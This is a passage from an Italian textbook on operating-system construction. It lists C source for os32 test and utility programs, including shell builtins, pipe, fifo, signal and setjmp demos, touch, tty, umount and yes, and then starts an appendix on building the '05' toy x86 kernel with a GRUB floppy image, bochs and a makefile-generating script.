4840119          if (pid_cmd == -1)
4840120            {
4840121              printf ("%s: cannot run command", argv[0]);
4840122              perror (NULL);
4840123            }
4840124          else if (pid_cmd == 0)
4840125            {
4840126              execvp (argv_cmd[0], argv_cmd);
4840127              perror (NULL);
4840128              exit (0);
4840129            }
4840130          while (1)
4840131            {
4840132              pid_dead = wait (&status);
4840133              if (pid_dead == pid_cmd)
4840134                {
4840135                  break;
4840136                }
4840137            }
4840138          printf ("pid %i terminated with status %i.\n",
4840139                  (int) pid_dead, status);
4840140        }
4840141    }
4840142
4840143    //----------------------------------------------------------------------
4840144    static void
4840145    sh_cd (int argc, char *argv[])
4840146    {
4840147      int             status;
4840148      //
4840149      if (argc != 2)
4840150        {
4840151          errset (EINVAL);          // Invalid argument.
4840152          perror (NULL);
4840153          return;
4840154        }
4840155      //
4840156      status = chdir (argv[1]);
4840157      if (status != 0)
4840158        {
4840159          perror (NULL);
4840160        }
4840161      return;
4840162    }
4840163
4840164    //----------------------------------------------------------------------
4840165    static void
4840166    sh_pwd (int argc, char *argv[])
4840167    {
```

```
4840168     char            path[PATH_MAX];
4840169     void           *pstatus;
4840170     //
4840171     if (argc != 1)
4840172       {
4840173         errset (EINVAL);           // Invalid argument.
4840174         perror (NULL);
4840175         return;
4840176       }
4840177     //
4840178     // Get the current directory.
4840179     //
4840180     pstatus = getcwd (path, (size_t) PATH_MAX);
4840181     if (pstatus == NULL)
4840182       {
4840183         perror (NULL);
4840184       }
4840185     else
4840186       {
4840187         printf ("%s\n", path);
4840188       }
4840189     return;
4840190   }
4840191
4840192   //----------------------------------------------------------------------
4840193   static void
4840194   sh_umask (int argc, char *argv[])
4840195   {
4840196     sysmsg_uarea_t  msg;
4840197     char           *m;             // Index inside the umask octal string.
4840198     int             mask;
4840199     int             digit;
4840200     //
4840201     if (argc > 2)
4840202       {
4840203         errset (EINVAL);           // Invalid argument.
4840204         perror (NULL);
4840205         return;
4840206       }
4840207     //
4840208     // If no argument is available, the umask is shown, with a direct
4840209     // system call.
4840210     //
4840211     if (argc == 1)
4840212       {
4840213         sys (SYS_UAREA, &msg, (sizeof msg));
4840214         printf ("%04o\n", msg.umask);
4840215         return;
4840216       }
4840217     //
4840218     // Get the mask: must be the first argument.
4840219     //
```

```
4840220     for (mask = 0, m = argv[1]; *m != 0; m++)
4840221       {
4840222         digit = (*m - '0');
4840223         if (digit < 0 || digit > 7)
4840224           {
4840225             errset (EINVAL);       // Invalid argument.
4840226             perror (NULL);
4840227             return;
4840228           }
4840229         mask = mask * 8 + digit;
4840230       }
4840231     //
4840232     // Set the umask and return.
4840233     //
4840234     umask (mask);
4840235     return;
4840236   }
```

121.1.29 applic/t_fifo.c

Si veda la sezione 111.23.

```
4850001   #include <stdio.h>
4850002   #include <unistd.h>
4850003   #include <stdlib.h>
4850004   #include <sys/wait.h>
4850005   #include <signal.h>
4850006   #include <sys/wait.h>
4850007   #include <string.h>
4850008   #include <fcntl.h>
4850009   #include <sys/stat.h>
4850010   //------------------------------------------------------------------------
4850011   int
4850012   main (void)
4850013   {
4850014     int              fd;
4850015     pid_t            child;
4850016     char             buffer;
4850017     char            *message = "ciao a tutti voi amici vicini e lontani\n";
4850018     int              i;
4850019     size_t           size;
4850020     ssize_t          written;
4850021     int              status;
4850022     //
4850023     //
4850024     //
4850025     unlink ("/tmp/fifo");
4850026     //
4850027     status = mknod ("/tmp/fifo", S_IFIFO | S_IRUSR | S_IWUSR, 0);
4850028     if (status != 0)
4850029       {
```

```
4850030          perror ("mknod fifo");
4850031          exit (EXIT_FAILURE);
4850032        }
4850033      //
4850034      //
4850035      //
4850036      child = fork ();
4850037      if (child == -1)
4850038        {
4850039          perror ("fork");
4850040          exit (EXIT_FAILURE);
4850041        }
4850042      //
4850043      //
4850044      //
4850045      if (child == 0)
4850046        {
4850047          //
4850048          // This is the child and it have to read the fifo.
4850049          //
4850050          fd = open ("/tmp/fifo", O_RDONLY);
4850051          if (fd < 0)
4850052            {
4850053              perror ("fifo read open");
4850054              exit (EXIT_FAILURE);
4850055            }
4850056          //
4850057          // Read one byte at the time, as long as there is
4850058          // something to read.
4850059          //
4850060          while (read (fd, &buffer, 1) > 0)
4850061            {
4850062              write (STDOUT_FILENO, &buffer, 1);
4850063            }
4850064          //
4850065          // Close the fifo and exit the child.
4850066          //
4850067          close (fd);
4850068          //
4850069          exit (EXIT_SUCCESS);
4850070        }
4850071      else
4850072        {
4850073          //
4850074          // This is the parent process and it writes to the FIFO.
4850075          //
4850076          fd = open ("/tmp/fifo", O_WRONLY);
4850077          if (fd < 0)
4850078            {
4850079              perror ("fifo write open");
4850080              exit (EXIT_FAILURE);
4850081            }
```

```
4850082         //
4850083         while (1)
4850084           {
4850085             for (i = 0, written = 0, size = strlen (message);
4850086                  i < strlen (message); i += written, size -= written)
4850087               {
4850088                 written = write (fd, &message[i], size);
4850089                 if (written < 0)
4850090                   {
4850091                     perror ("pipe");
4850092                     close (fd);
4850093                     wait (NULL);  // Wait for child.
4850094                     exit (EXIT_FAILURE);
4850095                   }
4850096               }
4850097           }
4850098         close (fd);                /* Reader will see EOF */
4850099         wait (NULL);               /* Wait for child */
4850100         exit (EXIT_SUCCESS);
4850101       }
4850102     //
4850103     return (0);
4850104   }
```

121.1.30 applic/t_grp.c

Si veda la sezione 111.23.

```
4860001 #include <stdio.h>
4860002 #include <grp.h>
4860003 #include <pwd.h>
4860004 #include <unistd.h>
4860005 #include <stdlib.h>
4860006 #include <sys/wait.h>
4860007 #include <signal.h>
4860008 #include <sys/wait.h>
4860009 #include <string.h>
4860010 #include <fcntl.h>
4860011 #include <sys/stat.h>
4860012 //----------------------------------------------------------------------
4860013 int
4860014 main (void)
4860015 {
4860016   struct passwd *pw;
4860017   struct group  *gr;
4860018   int i;
4860019
4860020   pw = getpwuid ((uid_t) 1001);
4860021
4860022   if (pw == NULL)
4860023     {
```

```
4860024         perror (NULL);
4860025         exit (0);
4860026       }
4860027 
4860028     printf ("%s:%s:%i:%i:\n", pw->pw_name, pw->pw_passwd,
4860029             pw->pw_uid, pw->pw_gid);
4860030 
4860031     gr = getgrgid ((gid_t) 233);
4860032 
4860033     if (gr == NULL)
4860034       {
4860035         perror (NULL);
4860036         exit (0);
4860037       }
4860038 
4860039     printf ("%s:%s:%i:", gr->gr_name, gr->gr_passwd, gr->gr_gid);
4860040     for (i = 0; i < 32 && gr->gr_mem[i] != NULL; i++)
4860041       {
4860042         printf ("%s,", gr->gr_mem[i]);
4860043       }
4860044 
4860045     return (0);
4860046 }
```

121.1.31 applic/t_pipe.c

Si veda la sezione 111.23.

```
4870001 #include <stdio.h>
4870002 #include <unistd.h>
4870003 #include <stdlib.h>
4870004 #include <sys/wait.h>
4870005 #include <signal.h>
4870006 #include <sys/wait.h>
4870007 #include <stdio.h>
4870008 #include <stdlib.h>
4870009 #include <string.h>
4870010 //----------------------------------------------------------------------
4870011 int
4870012 main (void)
4870013 {
4870014     int                 pipefd[2];
4870015     pid_t               child;
4870016     char                buffer;
4870017     char               *message = "ciao a tutti voi amici vicini e lontani\n";
4870018     int                 i;
4870019     size_t              size;
4870020     ssize_t             written;
4870021     //
4870022     //
4870023     //
```

```
4870024     if (pipe (pipefd) == -1)
4870025       {
4870026         perror ("pipe");
4870027         exit (EXIT_FAILURE);
4870028       }
4870029     //
4870030     //
4870031     //
4870032     child = fork ();
4870033     if (child == -1)
4870034       {
4870035         perror ("fork");
4870036         exit (EXIT_FAILURE);
4870037       }
4870038     //
4870039     //
4870040     //
4870041     if (child == 0)
4870042       {
4870043         //
4870044         // This is the child and it have to read the pipe:
4870045         // close the write end of the pipe.
4870046         //
4870047         close (pipefd[1]);
4870048         //
4870049         // Read one byte at the time, as long as there is
4870050         // something to read.
4870051         //
4870052         while (read (pipefd[0], &buffer, 1) > 0)
4870053           {
4870054             write (STDOUT_FILENO, &buffer, 1);
4870055           }
4870056         //
4870057         // Close the pipe and exit the child.
4870058         //
4870059         close (pipefd[0]);
4870060         //
4870061         exit (EXIT_SUCCESS);
4870062       }
4870063     else
4870064       {
4870065         //
4870066         // This is the parent process, and the read end of
4870067         // pipe is closed.
4870068         //
4870069         close (pipefd[0]);
4870070         //
4870071         while (1)
4870072           {
4870073             for (i = 0, written = 0, size = strlen (message);
4870074                  i < strlen (message); i += written, size -= written)
4870075               {
```

```
4870076                     written = write (pipefd[1], &message[i], size);
4870077                     if (written < 0)
4870078                       {
4870079                         perror ("pipe");
4870080                         close (pipefd[1]);
4870081                         wait (NULL);  // Wait for child.
4870082                         exit (EXIT_FAILURE);
4870083                       }
4870084                   }
4870085               }
4870086           close (pipefd[1]);          /* Reader will see EOF */
4870087           wait (NULL);                /* Wait for child */
4870088           exit (EXIT_SUCCESS);
4870089       }
4870090     //
4870091     return (0);
4870092 }
```

121.1.32 applic/t_ret.c

Si veda la sezione 111.23.

```
4880001 #include <stdlib.h>
4880002 //----------------------------------------------------------------------
4880003 int
4880004 main (void)
4880005 {
4880006 //    exit (1);
4880007   return (1);
4880008 }
```

121.1.33 applic/t_scr.c

Si veda la sezione 111.23.

```
4890001 #include <unistd.h>
4890002 #include <stdio.h>
4890003 #include <fcntl.h>
4890004 #include <unistd.h>
4890005 #include <stdlib.h>
4890006 //----------------------------------------------------------------------
4890007 int
4890008 main (int argc, char *argv[], char *envp[])
4890009 {
4890010   FILE           *screen;
4890011   int             status;
4890012 
4890013   screen = fopen ("/dev/tty", "w");
4890014   if (screen == NULL)
```

```
4890015       {
4890016         printf ("[%s] Cannot open \"/dev/tty\" ", argv[0]);
4890017         perror (NULL);
4890018         exit (0);
4890019       }
4890020
4890021     status = fseek (screen, (long) 1000, SEEK_SET);
4890022
4890023     fprintf (screen, "ciao status: %i ciao", status);
4890024     perror (NULL);
4890025
4890026     fclose (screen);
4890027     return (0);
4890028 }
```

121.1.34 applic/t_setjmp.c

Si veda la sezione 111.23.

```
4900001 #include <stdio.h>
4900002 #include <setjmp.h>
4900003 //----------------------------------------------------------------------
4900004
4900005 jmp_buf      env;
4900006
4900007 void prova3 (void)
4900008 {
4900009   printf ("funzione prova3\n");
4900010   longjmp (env, 1);
4900011   printf ("funzione prova3 post\n");
4900012 }
4900013
4900014 void prova2 (void)
4900015 {
4900016   printf ("funzione prova2\n");
4900017   prova3 ();
4900018   printf ("funzione prova2 post\n");
4900019 }
4900020
4900021 void prova1 (void)
4900022 {
4900023   printf ("funzione prova1\n");
4900024   prova2 ();
4900025   printf ("funzione prova1 post\n");
4900026 }
4900027
4900028 int
4900029 main (int argc, char *argv[], char *envp[])
4900030 {
4900031   int          val;
4900032   //
```

```
4900033   printf ("prima\n");
4900034   //
4900035   val = setjmp (env);
4900036   //
4900037   printf ("dopo setjmp val=%i\n", val);
4900038   //
4900039   if (val != 0) return (0);
4900040
4900041   prova1 ();
4900042
4900043   return (0);
4900044 }
```

121.1.35 applic/t_sig.c

Si veda la sezione 111.23.

```
4910001 #include <stdio.h>
4910002 #include <unistd.h>
4910003 #include <stdlib.h>
4910004 #include <sys/wait.h>
4910005 #include <signal.h>
4910006 //----------------------------------------------------------------------
4910007 void
4910008 signal_handler (int signal)
4910009 {
4910010   printf ("Hello! I have caught the signal %i.\n", signal);
4910011 }
4910012
4910013 //----------------------------------------------------------------------
4910014 int
4910015 main (void)
4910016 {
4910017   signal (SIGHUP, signal_handler);
4910018   signal (SIGINT, signal_handler);
4910019   signal (SIGQUIT, signal_handler);
4910020   signal (SIGILL, signal_handler);
4910021   signal (SIGABRT, signal_handler);
4910022   signal (SIGFPE, signal_handler);
4910023   signal (SIGKILL, signal_handler);
4910024   signal (SIGSEGV, signal_handler);
4910025   signal (SIGPIPE, signal_handler);
4910026   signal (SIGALRM, signal_handler);
4910027   signal (SIGTERM, signal_handler);
4910028   signal (SIGSTOP, signal_handler);
4910029   signal (SIGTSTP, signal_handler);
4910030   signal (SIGCONT, signal_handler);
4910031   signal (SIGCHLD, signal_handler);
4910032   signal (SIGTTIN, signal_handler);
4910033   signal (SIGTTOU, signal_handler);
4910034   signal (SIGUSR1, signal_handler);
```

```
4910035     signal (SIGUSR2, signal_handler);
4910036     //
4910037     while (1)
4910038       {
4910039         sleep (1);
4910040         printf ("ciao!\n");
4910041       }
4910042     //
4910043     return (0);
4910044   }
```

121.1.36 applic/t_sig2.c

Si veda la sezione 111.23.

```
4920001   #include <stdio.h>
4920002   #include <unistd.h>
4920003   #include <stdlib.h>
4920004   #include <sys/wait.h>
4920005   #include <signal.h>
4920006   //------------------------------------------------------------------------
4920007   void
4920008   signal_handler (int signal)
4920009   {
4920010     printf ("Hello! I have caught the signal %i.\n", signal);
4920011   }
4920012
4920013   //------------------------------------------------------------------------
4920014   int
4920015   main (void)
4920016   {
4920017     //
4920018     while (1)
4920019       {
4920020         signal (SIGHUP, signal_handler);
4920021         signal (SIGINT, signal_handler);
4920022         signal (SIGQUIT, signal_handler);
4920023         signal (SIGILL, signal_handler);
4920024         signal (SIGABRT, signal_handler);
4920025         signal (SIGFPE, signal_handler);
4920026         signal (SIGKILL, signal_handler);
4920027         signal (SIGSEGV, signal_handler);
4920028         signal (SIGPIPE, signal_handler);
4920029         signal (SIGALRM, signal_handler);
4920030         signal (SIGTERM, signal_handler);
4920031         signal (SIGSTOP, signal_handler);
4920032         signal (SIGTSTP, signal_handler);
4920033         signal (SIGCONT, signal_handler);
4920034         signal (SIGCHLD, signal_handler);
4920035         signal (SIGTTIN, signal_handler);
4920036         signal (SIGTTOU, signal_handler);
```

```
4920037         signal (SIGUSR1, signal_handler);
4920038         signal (SIGUSR2, signal_handler);
4920039         printf ("ciao!\n");
4920040         sleep (1);
4920041       }
4920042     //
4920043     return (0);
4920044   }
```

121.1.37 applic/touch.c

Si veda la sezione 111.24.

```
4930001 #include <fcntl.h>
4930002 #include <sys/stat.h>
4930003 #include <utime.h>
4930004 #include <stddef.h>
4930005 #include <unistd.h>
4930006 #include <errno.h>
4930007 //----------------------------------------------------------------------
4930008 static void     usage (void);
4930009 //----------------------------------------------------------------------
4930010 int
4930011 main (int argc, char *argv[], char *envp[])
4930012 {
4930013   int             a;             // Argument index.
4930014   int             status;
4930015   struct stat     file_status;
4930016   //
4930017   // No options are known, but at least an argument must be given.
4930018   //
4930019   if (argc < 2)
4930020     {
4930021       usage ();
4930022       return (1);
4930023     }
4930024   //
4930025   // Scan arguments.
4930026   //
4930027   for (a = 1; a < argc; a++)
4930028     {
4930029       //
4930030       // Verify if the file exists, through the return value of
4930031       // `stat()'. No other checks are made.
4930032       //
4930033       if (stat (argv[a], &file_status) == 0)
4930034         {
4930035           //
4930036           // File exists: should be updated the times.
4930037           //
4930038           status = utime (argv[a], NULL);
```

```
4930039              if (status != 0)
4930040                {
4930041                  perror (NULL);
4930042                  return (2);
4930043                }
4930044            }
4930045          else
4930046            {
4930047              //
4930048              // File does not exist: should be created.
4930049              //
4930050              status = open (argv[a], O_WRONLY | O_CREAT | O_TRUNC, 0666);
4930051              //
4930052              if (status >= 0)
4930053                {
4930054                  //
4930055                  // Here, the variable 'status' is the file
4930056                  // descriptor to be closed.
4930057                  //
4930058                  status = close (status);
4930059                  if (status != 0)
4930060                    {
4930061                      perror (NULL);
4930062                      return (3);
4930063                    }
4930064                }
4930065              else
4930066                {
4930067                  perror (NULL);
4930068                  return (4);
4930069                }
4930070            }
4930071        }
4930072    return (0);
4930073  }
4930074
4930075  //----------------------------------------------------------------------
4930076  static void
4930077  usage (void)
4930078  {
4930079    fprintf (stderr, "Usage: touch FILE...\n");
4930080  }
```

121.1.38 applic/tty.c

Si veda la sezione 111.25.

```
4940001  #include <fcntl.h>
4940002  #include <sys/stat.h>
4940003  #include <utime.h>
4940004  #include <stddef.h>
```

```
4940005 #include <unistd.h>
4940006 #include <errno.h>
4940007 #include <sys/os32.h>
4940008 #include <sys/types.h>
4940009 //----------------------------------------------------------------------
4940010 static void     usage (void);
4940011 //----------------------------------------------------------------------
4940012 int
4940013 main (int argc, char *argv[], char *envp[])
4940014 {
4940015   int             dev_minor;
4940016   struct stat     file_status;
4940017   //
4940018   // No options and no arguments.
4940019   //
4940020   if (argc > 1)
4940021     {
4940022       usage ();
4940023       return (1);
4940024     }
4940025   //
4940026   // Verify the standard input.
4940027   //
4940028   if (fstat (STDIN_FILENO, &file_status) == 0)
4940029     {
4940030       if (major (file_status.st_rdev) == DEV_CONSOLE_MAJOR)
4940031         {
4940032           dev_minor = minor (file_status.st_rdev);
4940033           //
4940034           // If minor is equal to 0xFF, it is '/dev/console'
4940035           // that is not a controlling terminal, but just
4940036           // a reference for the current virtual console.
4940037           //
4940038           if (dev_minor < 0xFF)
4940039             {
4940040               printf ("/dev/console%i\n", dev_minor);
4940041             }
4940042         }
4940043     }
4940044   else
4940045     {
4940046       perror ("Cannot get standard input file status");
4940047       return (2);
4940048     }
4940049   //
4940050   return (0);
4940051 }
4940052 
4940053 //----------------------------------------------------------------------
4940054 static void
4940055 usage (void)
4940056 {
```

```
4940057    fprintf (stderr, "Usage: tty\n");
4940058 }
```

121.1.39 applic/umount.c

Si veda la sezione 117.4.

```
4950001 #include <unistd.h>
4950002 #include <stdlib.h>
4950003 #include <sys/stat.h>
4950004 #include <sys/types.h>
4950005 #include <fcntl.h>
4950006 #include <errno.h>
4950007 #include <signal.h>
4950008 #include <stdio.h>
4950009 #include <sys/wait.h>
4950010 #include <stdio.h>
4950011 #include <string.h>
4950012 #include <limits.h>
4950013 #include <sys/os32.h>
4950014 //----------------------------------------------------------------------
4950015 static void     usage (void);
4950016 //----------------------------------------------------------------------
4950017 int
4950018 main (int argc, char *argv[], char *envp[])
4950019 {
4950020   int               status;
4950021   //
4950022   // One argument is mandatory.
4950023   //
4950024   if (argc != 2)
4950025     {
4950026       usage ();
4950027       return (1);
4950028     }
4950029   //
4950030   // System call.
4950031   //
4950032   status = umount (argv[1]);
4950033   if (status != 0)
4950034     {
4950035       perror (argv[1]);
4950036       return (2);
4950037     }
4950038   //
4950039   return (0);
4950040 }
4950041 
4950042 //----------------------------------------------------------------------
4950043 static void
4950044 usage (void)
```

```
4950045 {
4950046   fprintf (stderr, "Usage: umount MOUNT_POINT\n");
4950047 }
```

121.1.40 applic/yes.c

Si veda la sezione 111.26.

```
4960001 #include <stdio.h>
4960002 //----------------------------------------------------------------------
4960003 int
4960004 main (int argc, char *argv[], char *envp[])
4960005 {
4960006   int i;
4960007   //
4960008   if (argc > 1)
4960009     {
4960010       while (1)
4960011         {
4960012           printf ("%s", argv[1]);
4960013           for (i = 2; i < argc; i++)
4960014             {
4960015               printf (" %s", argv[i]);
4960016             }
4960017           printf ("\n");
4960018         }
4960019     }
4960020   else
4960021     {
4960022       while (1)
4960023         {
4960024           printf ("y\n");
4960025         }
4960026     }
4960027   return (0);
4960028 }
```

Appendice: un sistema giocattolo, denominato «05»

Preparazione 7961

i10.1.1 File-immagine 7961

Directory di lavoro 7962

i10.2.1 Directory «05/» 7962
i10.2.2 Script di collegamento 7967
i10.2.3 Altre directory 7968

Libreria standard per iniziare 7968

i10.3.1 Libreria «limits.h» 7968

File isolati per dichiarazioni riprese in più librerie 7969

i10.4.1 Libreria «stdbool.h» 7970
i10.4.2 Libreria «time.h» 7970
i10.4.3 Libreria «ctype.h» 7971
i10.4.4 Libreria «stdint.h» 7972
i10.4.5 Libreria «inttypes.h» 7974
i10.4.6 Libreria «stdarg.h» 7978
i10.4.7 Libreria «stddef.h» 7978
i10.4.8 Libreria «stdlib.h» 7979
i10.4.9 Libreria «string.h» 7981
i10.4.10 Libreria «stdio.h» 7983

Librerie specifiche generali 8003

i10.5.1 File «build.h» 8003
i10.5.2 Libreria «io.h» 8003
i10.5.3 Libreria «multiboot.h» 8004
i10.5.4 File «os.h» 8006
i10.5.5 Libreria «vga.h» 8010

Un primo kernel di prova 8014

i10.6.1 File «kernel.h» 8015
i10.6.2 Altri file mancanti 8020
i10.6.3 Compilazione e prova di funzionamento 8020

Tabella GDT 8020

i10.7.1 Struttura 8021

i10.7.2 Libreria «gdt.h» 8022
i10.7.3 Modifiche da apportare a «kernel_main.c» 8026

Gestione della memoria 8026

i10.8.1 Gestione della memoria attraverso una lista 8027
i10.8.2 Libreria «mm.h» 8028
i10.8.3 Funzioni per l'allocazione della memoria 8031
i10.8.4 Verifica del funzionamento 8037

Tabella IDT 8039

i10.9.1 File di intestazione «int.h» e file delle routine di interruzione «isr.s» . . . 8040
i10.9.2 Funzioni per definire la tabella IDT 8050
i10.9.3 Gestione delle interruzioni 8055
i10.9.4 Piccole funzioni di contorno 8057
i10.9.5 Verifica del funzionamento 8058

Chiamate di sistema 8059

i10.10.1 File di intestazione «syscall.h» 8060
i10.10.2 Fasi successive all'interruzione 8060
i10.10.3 Verifica del funzionamento 8062

Interruzioni hardware 8063

i10.11.1 Gestione del temporizzatore 8064
i10.11.2 Gestione della tastiera 8066
i10.11.3 Verifica del funzionamento 8070

Una specie di «shell» 8071

i10.12.1 Realizzazione della shell 8072
i10.12.2 Conclusione 8074

`app.h` 8072 `atoi.c` 7979 `bochs` 7962 `build.h` 8003 `cli.s` 8057 `compile` 7962 `ctype.h` 7971 `free.c` 8031 `gdt.c` 8022 `gdt.h` 8022 `gdt_desc_seg.c` 8022 `gdt_load.s` 8022 `gdt_print.c` 8022 `gets.c` 8071 `idt_desc_int.c` 8050 `idt_load.c` 8050 `idt_print.c` 8050 `inb.s` 8003 `int.h` 8040 `inttypes.h` 7974 `int_128.s` 8059 `io.h` 8003 `irq_remap.c` 8050 `isr.s` 8040 `isr_exception_name.c` 8055 `isr_exception_unrecoverable.c` 8055 `isr_irq.c` 8055 8063 `isr_syscall.c` 8055 8060 `kernel.h` 8015 `kernel_boot.s` 8015 `kernel_main.c` 8074 `kernel_memory.c` 8015 `keyboard.c` 8066 `keyboard.h` 8066 `keyboard_load.c` 8066 `limits.h` 7968 `linker.ld` 7967 `makeit` 7962 `malloc.c` 8031 `mboot_info.c` 8004 `mboot_show.c` 8004 `memcpy.c` 7981 `memset.c` 7981 `mm.h` 8028 `mm_init.c` 8028 `mm_list.c` 8028 `mount` 7962 `multiboot.h` 8004 `NULL.h` 7969 `os.h` 8006 `outb.s` 8003 `ptrdiff_t.h` 7969 `realloc.c` 8031 `restrict.h` 7969 `shell.c` 8072 `size_t.h` 7969 `snprintf.c` 7983 `stdarg.h` 7978 `stdbool.h` 7970 `stddef.h`

7978 stdint.h 7972 stdio.h 7983 stdlib.h 7979 sti.s 8057 string.h 7981 strncpy.c 7981 syscall.c 8059 syscall.h 8060 time.h 7970 timer.c 8064 timer.h 8064 timer_freq.c 8064 umount 7962 vga.h 8010 vga_clear.c 8010 vga_new_line.c 8010 vga_printf.c 8010 vga_putc.c 8010 vga_puts.c 8010 vga_set.c 8010 vga_vprintf.c 8010 vsnprintf.c 7983 vsyscall.c 8060 wchar_t.h 7969 _Exit.s 8020

In questa appendice viene descritto il procedimento per realizzare un sistema, estremamente banalizzato, per elaboratori x86-32, sviluppato prima di os16 e di os32. Questo sistema è privo di pianificazione dei processi (*scheduler*), ma soprattutto non è in grado di avviare programmi e nemmeno di accedere a qualche file system. Tuttavia, pur con tutte le sue mancanze, questa specie di sistema può essere utile per comprendere alcuni concetti a chi inizia da zero lo studio delle problematiche connesse con i sistemi operativi.

Giusto per dare un nome a questa cosa, si usa la sigla «05», ovvero le cifre numeriche che più si avvicinano a «os».

Preparazione

Prima di cominciare conviene preparare tutto quello che serve, come viene descritto nelle sezioni successive. Naturalmente ci si avvale degli strumenti di un sistema GNU/Linux per lo sviluppo di questo giocattolo.

File-immagine

Per prima cosa serve un file-immagine di un dischetto da 1,44 Mibyte, predisposto con GRUB 1, in modo tale da avviare il file '`kernel`'. In pratica si predispone inizialmente un dischetto reale, con un file system Dos-FAT, si crea la directory '`grub/`' e al suo interno si mettono i file '`stage1`' e '`stage2`' di GRUB 1, assieme al file '`menu.lst`' che può avere semplicemente il contenuto seguente:

```
title kernel
kernel (fd0)/kernel
```

Si mette temporaneamente un file fittizio, denominato '`kernel`', nella directory principale del dischetto e si procede all'installazione del settore di avvio di GRUB 1 stesso:

`#` **`grub`** [*Invio*]

`grub>` **`root (fd0)`** [*Invio*]

```
   Filesystem type is fat, using whole disk.
```

`grub>` **`setup (fd0)`** [*Invio*]

```
Checking if "/boot/grub/stage1" exists... no
Checking if "/grub/stage1" exists... yes
Checking if "/grub/stage2" exists... yes
Checking if "/grub/fat_stage1_5" exists... no
Running "install /grub/stage1 (fd0) /grub/stage2 p /grub/menu.lst "...
  succeeded
Done.
```

grub> **quit** [*Invio*]

A questo punto, avendo terminato il lavoro di installazione di GRUB 1 nel dischetto, si può produrre il file-immagine:

cp /dev/fd0 floppy.img [*Invio*]

Directory di lavoro

Prima di iniziare gli esperimenti, si predispone una directory di lavoro, da utilizzare in qualità di utente comune. Nella directory si copia il file '`floppy.img`' e si mettono alcuni script molto semplici:

Listato u10.4. '`./mount`'

```
#!/bin/sh
chmod a+rw floppy.img
su root -c "mount -o loop,uid=1001 -t vfat floppy.img /mnt/fd0"
```

Listato u10.5. '`./umount`'

```
#!/bin/sh
su root -c "umount /mnt/fd0"
```

Listato u10.6. '`./bochs`'

```
#!/bin/sh
bochs -q 'boot:a' 'floppya: 1_44=floppy.img, status=inserted' 'megs:32'
```

Il senso di questi script è evidente e il loro scopo è solo quello di ridurre al minimo l'impegno di digitazione. In questa directory viene poi predisposto anche lo script '**`compile`**', ma viene descritto nella sezione successiva.

Directory «05/»

A partire dalla directory di lavoro si crea la sottodirectory '`05/`', nella quale viene poi messo il codice del sistema che si va a creare. Ma per evitare di fare confusione con i file-make, si predispone uno script per la compilazione che li crea al volo, in base ai contenuti effettivi delle sottodirectory.

Listato u10.7. '`./05/makeit`'

```
#!/bin/sh
#
# makeit...
#
OPTION="$1"
#
edition () {
    local EDITION="include/kernel/build.h"
    echo -n                               > $EDITION
    echo -n "#define BUILD_DATE \""      >> $EDITION
    echo -n `date "+%Y%m%d%H%M%S"`       >> $EDITION
    echo  "\""  >> $EDITION
}
#
#
#
makefile () {
    #
    local MAKEFILE="Makefile"
    local TAB=" "
    #
    local SOURCE_C=""
    local C=""
    local SOURCE_S=""
    local S=""
    #
    local c
    local s
    #
    # Trova i file in C.
    #
    for c in *.c
    do
        if [ -f $c ]
        then
        C=`basename $c .c`
            SOURCE_C="$SOURCE_C $C"
        fi
    done
    #
    # Trova i file in ASM.
    #
    for s in *.s
    do
        if [ -f $s ]
        then
        S=`basename $s .s`
            SOURCE_S="$SOURCE_S $S"
        fi
    done
    #
    # Prepara il file make.
```

```
    #
    echo -n                                                    > $MAKEFILE
    echo "# Questo file è stato prodotto automaticamente"     >> $MAKEFILE
    echo "# dallo script \"makeit\", sulla base dei"           >> $MAKEFILE
    echo "# contenuti della directory."                        >> $MAKEFILE
    echo "#"                                                   >> $MAKEFILE
    echo "c = $SOURCE_C"                                       >> $MAKEFILE
    echo "#"                                                   >> $MAKEFILE
    echo "s = $SOURCE_S"                                       >> $MAKEFILE
    echo "#"                                                   >> $MAKEFILE
    echo "all: \$(s) \$(c)"                                    >> $MAKEFILE
    echo "#"                                                   >> $MAKEFILE
    echo "clean:"                                              >> $MAKEFILE
    echo "${TAB}@rm *.o 2> /dev/null ; pwd"                    >> $MAKEFILE
    echo "#"                                                   >> $MAKEFILE
    echo "\$(s):"                                              >> $MAKEFILE
    echo "${TAB}@echo \$@.s"                                   >> $MAKEFILE
    echo "${TAB}@as -o \$@.o \$@.s"                            >> $MAKEFILE
    echo "#"                                                   >> $MAKEFILE
    echo "\$(c):"                                              >> $MAKEFILE
    echo "${TAB}@echo \$@.c"                                   >> $MAKEFILE
    echo "${TAB}@gcc -Wall -Werror -o \$@.o -c \$@.c" \
         "-nostdinc -nostdlib -nostartfiles -nodefaultlibs" \
        "-I../include -I../../include -I../../../include"      >> $MAKEFILE
    #
}
#
#
#
main () {
    #
    local CURDIR=`pwd`
    local OBJECTS
    local d
    local c
    local s
    local o
    #
    edition
    #
    for d in `find .`
    do
        if [ -d "$d" ]
        then
            #
            # Ci sono sorgenti in C o in ASM?
            #
            c=`echo $d/*.c | sed "s/ .*//"`
            s=`echo $d/*.s | sed "s/ .*//"`
            #
            if [ -f "$c" ] || [ -f "$s" ]
            then
                CURDIR=`pwd`
```

```
                cd $d
                makefile
                #
                if [ "$OPTION" = "clean" ]
                then
                    make clean
                else
                    if ! make
                    then
                        cd "$CURDIR"
                        exit
                    fi
                fi
                cd "$CURDIR"
            fi
        fi
    done
    #
    cd "$CURDIR"
    #
    #
    #
    if [ "$OPTION" = "clean" ]
    then
        true
    else
        OBJECTS=""
        #
        for o in `find . -name \*.o -print`
        do
            if    [ "$o" = "./kernel/kernel_boot.o" ] \
               || [ "$o" = "./kernel/kernel_main.o" ] \
               || [ ! -e "$o" ]
            then
                true
            else
                OBJECTS="$OBJECTS $o"
            fi
        done
        #
        echo "Link"
        #
        ld --script=linker.ld -o kernel_image \
                kernel/kernel_boot.o \
                $OBJECTS \
                kernel/kernel_main.o
        #
        cp -f kernel_image /mnt/fd0/kernel
        sync
    fi
}
#
# Start.
```

```
#
if [ -d include ] && [ -d kernel ] && [ -d lib ]
then
    main
else
    echo "Mi trovo in una posizione sbagliata e non posso svolgere" \
         "il mio compito"
fi
```

Va osservato che la variabile '**`TAB`**' deve contenere esattamente una tabulazione orizzontale (di norma il codice 09_{16}. Pertanto, se si riproduce il file o se lo si scarica, occorre verificare che il contenuto sia effettivamente una tabulazione, altrimenti va corretto. Se la variabile '**`TAB`**' contiene solo spazi, i file-make che si ottengono non sono validi.

```
local TAB="  "
```

In pratica, attraverso questo script, i file-make che si generano hanno un aspetto simile a quello del listato seguente:

```
c =   elenco_file_c_senza_estensione
#
